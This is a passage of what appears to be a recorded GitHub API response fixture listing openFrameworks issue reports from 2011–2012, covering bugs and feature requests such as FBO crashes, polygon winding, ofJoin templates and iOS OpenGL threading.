frame.draw(0, 0);\r\n\r\n mergeFbo.end();\r\n\r\n\r\n mergeFbo.draw(200, 100, 100, 200);\r\n \r\n \r\n mergeFbo.readToPixels(pixels);\r\n final.setFromPixels(pixels);\r\n\r\n final.draw(0, 0);\r\n\r\n}\r\n```","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/752","comments":1,"milestone":null,"number":752,"html_url":"https://github.com/openframeworks/openFrameworks/issues/752","assignee":null,"title":"ofFbo (problems with certain image dimensions)","labels":[],"closed_at":null,"created_at":"2011-09-20T21:16:24Z","state":"open","user":{"url":"https://api.github.com/users/ammalgamma","gravatar_id":"96b69749f518cf6a2964b999bf29ee8e","login":"ammalgamma","avatar_url":"https://secure.gravatar.com/avatar/96b69749f518cf6a2964b999bf29ee8e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":517000},"id":1691874,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-19T09:04:12Z","body":"feature request for a more generic ofJoin() function that accepts vectors of all kinds of objects (float, int, ofVec2f, etc) rather than just string. anything that implements operator<<\r\n\r\nhere's an example using stl:\r\n\r\n\t#include \r\n\ttemplate \r\n\tstring ofJoin(vector& elements, string delimiter) {\r\n\t\tstringstream result;\r\n\t\tcopy(elements.begin(), elements.end(), ostream_iterator(result, delimiter.c_str()));\r\n\t\treturn result.str();\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/748","comments":3,"milestone":null,"number":748,"html_url":"https://github.com/openframeworks/openFrameworks/issues/748","assignee":null,"title":"more generic ofJoin","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-17T07:26:18Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1668066,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-21T17:22:14Z","body":"\r\nI'm looking into creating some new primitives for OF [1] and the polygon winding has me a bit confused.\r\n\r\nIf you take for instance \"graphicsExample\" an you add:\r\n\r\n```glEnable( GL_CULL_FACE );```\r\n\r\nSomewhere you will no longer see much drawn to screen.\r\n\r\nGL_CCW is the default FrontFace for OpenGL, but OF seems to be the opposite.\r\nhttp://www.khronos.org/opengles/sdk/docs/man/xhtml/glFrontFace.xml\r\n\r\nWhich is coolio of course, as long as we are consistent.\r\n\r\nOur options are either to throw a ```glFrontFace( GL_CW );``` in there somewhere OR re-write all the drawing to be consistent with OpenGL default, not sure what is the best in the long run.\r\n\r\nWhat say you all?\r\n\r\n/A\r\n\r\n\r\n[1] https://github.com/andreasmuller/openFrameworks/blob/develop-opengles2/libs/openFrameworks/3d/of3dPrimitives.h","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/745","comments":2,"milestone":null,"number":745,"html_url":"https://github.com/openframeworks/openFrameworks/issues/745","assignee":null,"title":"Polygon winding","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-09-14T13:50:48Z","state":"open","user":{"url":"https://api.github.com/users/andreasmuller","gravatar_id":"210831a04d36f1aa26413ecbdbd4b07c","login":"andreasmuller","avatar_url":"https://secure.gravatar.com/avatar/210831a04d36f1aa26413ecbdbd4b07c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":791114},"id":1643672,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=8 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4936'), ('content-length', '42586'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"1f6749765d79f3319834dfda4c27cd5e"'), ('date', 'Tue, 29 May 2012 19:27:17 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-17T16:52:58Z","body":"i think it would be wonderful if every OF example was named ofApp instead of testApp. especially because:\r\n\r\n\tclass ofApp : public ofBaseApp {\r\n\r\nis more natural than:\r\n\r\n\tclass testApp : public ofBaseApp {\r\n\r\ngiven the rest of OF naming conventions. and it would increase consistency with things like:\r\n\r\n\tofGetAppPtr();\r\n\tofAppBaseWindow\r\n\tofAppGlutWindow\r\n\r\nthis is a massive refactor that shouldn't be difficult, but should be done at the same time as something like a code formatting cleanup.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/744","comments":10,"milestone":null,"number":744,"html_url":"https://github.com/openframeworks/openFrameworks/issues/744","assignee":null,"title":"rename testApp to ofApp","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-14T07:02:36Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1641198,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-26T11:56:48Z","body":"calling ofEnableAlphaBlending() crashes my app on a machine with opengl version 1.1.0, because glBlendEquation(), introduced at opengl 1.3, needs to gracefully degrade. Here is the solution:\r\n\r\n
\r\nvoid ofEnableAlphaBlending_slightlySafer(void){\r\n\tconst GLubyte * version = glGetString(GL_VERSION);\r\n\tint major, minor;\r\n\tsscanf((const char*)version, \"%i.%i\",&major, &minor);\r\n\r\n\tif(major > 1 || (major==1 && minor>=3)){\r\n\t\tofEnableAlphaBlending();\r\n\t}\t\r\n}\r\n
","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/743","comments":1,"milestone":null,"number":743,"html_url":"https://github.com/openframeworks/openFrameworks/issues/743","assignee":null,"title":"seg fault on ofEnableAlphaBlending() -> glBlendEquation()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-13T22:53:55Z","state":"open","user":{"url":"https://api.github.com/users/jtnimoy","gravatar_id":"153ba4a8df491692b717daad7a6030be","login":"jtnimoy","avatar_url":"https://secure.gravatar.com/avatar/153ba4a8df491692b717daad7a6030be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":183796},"id":1639020,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:39:00Z","body":"In ofxiPhoneAppDelegate.mm in the setAnimationFrameInterval method should be changed from\r\n\r\n\r\nif (animating){\r\n [self stopAnimation];\r\n [self startAnimation];\r\n}\r\n\r\nto\r\n\r\nif (animating){\r\n [self stopAnimation];\r\n}\r\n [self startAnimation];\r\n\r\nThis will allow it start again if it's stopped.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/738","comments":0,"milestone":null,"number":738,"html_url":"https://github.com/openframeworks/openFrameworks/issues/738","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhone - setting ofSetFrameRate(0) and then back to > 0 doesn't start again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-12T21:23:04Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1628082,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T22:55:09Z","body":"it would be awesome to have lines drawn nicer when they are 1 thick and 2 make sharp edges. processing has some functions strokeCap() and strokeJoin() for setting this behavior, but it doesn't work with OPENGL mode. we could probably adapt a geometry shader to do some smart mitering for us on the GPU.\r\n\r\nprompted by the discussion here: http://forum.openframeworks.cc/index.php/topic,7278.0/topicseen.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/730","comments":1,"milestone":null,"number":730,"html_url":"https://github.com/openframeworks/openFrameworks/issues/730","assignee":null,"title":"nicer stroke mitering/joining and end caps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-09-07T03:27:13Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1586262,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-05T15:39:58Z","body":"ofColor_:operator+= currently calls clamp() when it's done doing the +=\r\n\r\ni imagined one of the applications of ofFloatColor would be for averaging or summing ofColor, which normally requires non-saturation semantics for +=. i could also do a / or * every += operation to avoid overflow. this doesn't have to be a bug, but it should at least be documented clearly when we discuss ofColor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/728","comments":1,"milestone":null,"number":728,"html_url":"https://github.com/openframeworks/openFrameworks/issues/728","assignee":null,"title":"ofColor and clamping","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-09-05T14:41:50Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1569364,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-05T10:17:48Z","body":"Hello\r\n\r\nI had a problem with gamma for my Carbon app in OSX 10.6, UI looked \"blotched\" with Pappis' help it was solved, here are details:\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,6404.msg30519.html#msg30519\r\n\r\nHowever, the trick with HIWindowSetColorSpace does not work in OSX 10.7 Lion\r\nLooking for solutions again\r\n\r\nThanks\r\nTom\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/727","comments":0,"milestone":null,"number":727,"html_url":"https://github.com/openframeworks/openFrameworks/issues/727","assignee":null,"title":"OSX 10.7 Gamma Problem","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2011-09-05T10:17:48Z","state":"open","user":{"url":"https://api.github.com/users/Tommato","gravatar_id":"95bbfbd39116dffe06be4d816f322bf0","login":"Tommato","avatar_url":"https://secure.gravatar.com/avatar/95bbfbd39116dffe06be4d816f322bf0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1027082},"id":1566286,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-26T18:44:30Z","body":"Related forum post: http://forum.openframeworks.cc/index.php/topic,7053.0.html\r\n\r\nFrom what I understand, it's best to leave the mainThread for UIKit elements and move openGL and other things to another thread. Currently, if there's a lot of drawing then the UIKit elements are delayed and can even pause the update/draw methods entirely. Moving the drawing to it's own thread should help with this.\r\n\r\nI'm still testing, but this looks like it could be a good candidate for core integration. It has examples of threaded, single (what we currently use), and GCD (which I think is iOS 4.0 only) openGL implementation: https://github.com/Volcore/LimbicGL In my early tests, it does fix any pausing of the update/draw with the threaded example (haven't tried the others). I could use some help though trying to integrate this into OF properly.\r\n\r\nThe main example classes are here: https://github.com/Volcore/LimbicGL/tree/master/limbicgl/drivers\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/721","comments":0,"milestone":null,"number":721,"html_url":"https://github.com/openframeworks/openFrameworks/issues/721","assignee":null,"title":"ofxiPhone - Move openGL to its own thread","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-08-26T18:43:09Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1497330,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:39:39Z","body":"The libraries linked in 007 as well as the new AVFoundationVideoPlayer is not compatible with 3.x devices and won't build.\r\n\r\nAfter further exploring, I believe these are the steps to get things running on 3.x devices.\r\n\r\n1) In Xcode, Click on target -> application name\r\n2) In the File Name window, set AVFoundation, CoreMedia, and CoreVideo from role \"required\" to \"weak\". They need to be weak linked since they're only available in iOS 4+.\r\n3) In ofxiPhone src folder, AVFoundationVideoPlayer.mm uses CMBlockBufferRef and that is only available in iOS4. This means, this function should be commented out (sorry - avfoundationvideoplayer won't run on iOS4 unless the blocker is changed). Either that or you can comment ouf AVFoundationVideoPlayer from being included in OF.\r\n4) Clean all targets and rebuild","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/720","comments":0,"milestone":null,"number":720,"html_url":"https://github.com/openframeworks/openFrameworks/issues/720","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"007 ofxiPhone not compatible with 3.x devices ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-08-26T18:38:38Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1497291,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T17:38:49Z","body":"\r\nbased on this comment, \r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,5319.msg33381.html#msg33381\r\n\r\nI wonder if we can be smarter in endShape() / ofPath::tessellate() and look for simple usage (3 or 4 points, etc) before tessellating, or if the slow down is just based on the use of the ofPath object. \r\n\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/719","comments":1,"milestone":null,"number":719,"html_url":"https://github.com/openframeworks/openFrameworks/issues/719","assignee":null,"title":"optimize ofEndShape() to deal with simple shapes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-08-22T16:56:27Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1459353,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T16:02:30Z","body":"change\r\n\r\nfloat ofCamera::getImagePlaneDistance(ofRectangle viewport) const {\r\n\treturn getPosition().length(); //viewport.height / (2.0f * tanf(PI * fov / 360.0f));\r\n}\r\n\r\nold in comment\r\n\r\ncurrent system is abitrary\r\nsuggest new system is more sensible\r\n(i'm always working in normalised coords)\r\npls check in your life before changing :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/717","comments":0,"milestone":null,"number":717,"html_url":"https://github.com/openframeworks/openFrameworks/issues/717","assignee":null,"title":"suggest new calc clip planes routine","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-22T16:02:30Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1458979,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T14:11:34Z","body":"http://forum.openframeworks.cc/index.php/topic,5222.msg33366.html#msg33366\r\n\r\nthere also seem to be a memory leak, when deleting a ofQuicktimeVideoPlayer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/716","comments":0,"milestone":null,"number":716,"html_url":"https://github.com/openframeworks/openFrameworks/issues/716","assignee":null,"title":"problems with stop/play in quicktime videoPlayer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-08-22T14:11:34Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":1458044,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-16T13:39:49Z","body":"Here\r\nhttps://github.com/openframeworks/openFrameworks/issues/653\r\nI downloaded latest version but in still crashes on my old video card Nvidia GeForce Go 7200.\r\nAny idea why?\r\nofxFBOTexture works, but i got some trobles in pixel format there. \r\nofxFBOTexture uses function with postfix EXT sometimes? ofFbo without it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/711","comments":5,"milestone":null,"number":711,"html_url":"https://github.com/openframeworks/openFrameworks/issues/711","assignee":null,"title":"Problem with ofFbo. Crashes on allocate.There were the same issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-08-16T10:21:29Z","state":"open","user":{"url":"https://api.github.com/users/IonRod","gravatar_id":"cf3cb346817dd8a9f8327d1af13c3d46","login":"IonRod","avatar_url":"https://secure.gravatar.com/avatar/cf3cb346817dd8a9f8327d1af13c3d46?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":886012},"id":1414013,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-15T14:23:47Z","body":"i'm noticing this on osx 10.6. all 8-bit images are correct, but somehow i didn't notice about unsigned short and float until now!\r\n\r\ni'm super busy atm, but i've kind of been maintaining the unsigned short/float loading so i'll look into this if someone else doesn't get to it first.\r\n\r\nmeanwhile it would be good to see if it's the same on windows or not. for anyone interested in testing, please check devApps/AdvancedImageLoading and compare the results of the app to the .exr opened in photoshop.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/710","comments":0,"milestone":null,"number":710,"html_url":"https://github.com/openframeworks/openFrameworks/issues/710","assignee":null,"title":"16-bit and 32-bit images are red/blue swapped","labels":[],"closed_at":null,"created_at":"2011-08-15T14:23:47Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1407813,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-07T12:19:07Z","body":"in the past there has been ofxQtVideoSaver and a few others. i think this is a really hard problem because it basically needs to be written for each platform, but something that should eventually be solved.\r\n\r\ntwo major use cases i know are:\r\n\r\n- capturing and saving simultaneously, for long streams\r\n- capturing a quick burst of video then saving it to disk\r\n\r\nwhich would might be handled a little differently.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/702","comments":1,"milestone":null,"number":702,"html_url":"https://github.com/openframeworks/openFrameworks/issues/702","assignee":null,"title":"cross platform video saving (ofVideoSaver?)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-07T03:23:38Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1359729,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-06T20:20:03Z","body":"Hi!\r\n\r\nI have problems even getting the ofxOsc Send/Receive examples talking on Ubuntu 11.04 64bit. \r\nThey compile without problems, but sometimes when I run them, communication fails somewhere along the road - input events are not shown in the receiver app. Sometimes it does not work at all.\r\n\r\nThis works all flawlessly on 32bit Ubuntu 11.04. See http://forum.openframeworks.cc/index.php/topic,6918.0.html for more details.\r\n\r\nCan anyone reproduce these problems? Any tips? How could I debug this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/701","comments":3,"milestone":null,"number":701,"html_url":"https://github.com/openframeworks/openFrameworks/issues/701","assignee":null,"title":"ofxOsc does not seem to work on 64bit Ubuntu","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2011-08-06T19:14:37Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":1358688,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-05T03:06:25Z","body":"very simple but helpful feature request. e.g.,\r\n\r\nofBuffer::operator=(const ofBuffer& mom) {\r\n set(mom.getBinaryBuffer(), mom.size());\r\n}\r\n\r\nthis goes along with the general \"what does the equal operator mean\" debate/discussion :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/700","comments":0,"milestone":null,"number":700,"html_url":"https://github.com/openframeworks/openFrameworks/issues/700","assignee":null,"title":"ofBuffer with overloaded = operator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-08-05T03:06:25Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1349012,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:28Z","body":"this seems like an api inconsistency to me: i feel like ofTexture::loadData() is similar to ofImage::setFromPixels(), but setFromPixels() will allocate space if necessary while loadData() just prints an error if the data is larger than the allocated space.\r\n\r\ni think auto-allocation would be nice, but i might just be misunderstanding/making a false comparison here.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/699","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":699,"html_url":"https://github.com/openframeworks/openFrameworks/issues/699","assignee":null,"title":"loadData() does not allocate as necessary","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-04T10:29:57Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1343463,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:12:03Z","body":"from: http://forum.openframeworks.cc/index.php/topic,6952.msg32509.html\r\n\r\n\r\n\r\ngetBmpFromPixels() crashed repeatedly when I tried to rescale grayscale Images of size 3026*2048.\r\n\r\nIt's because memcpy 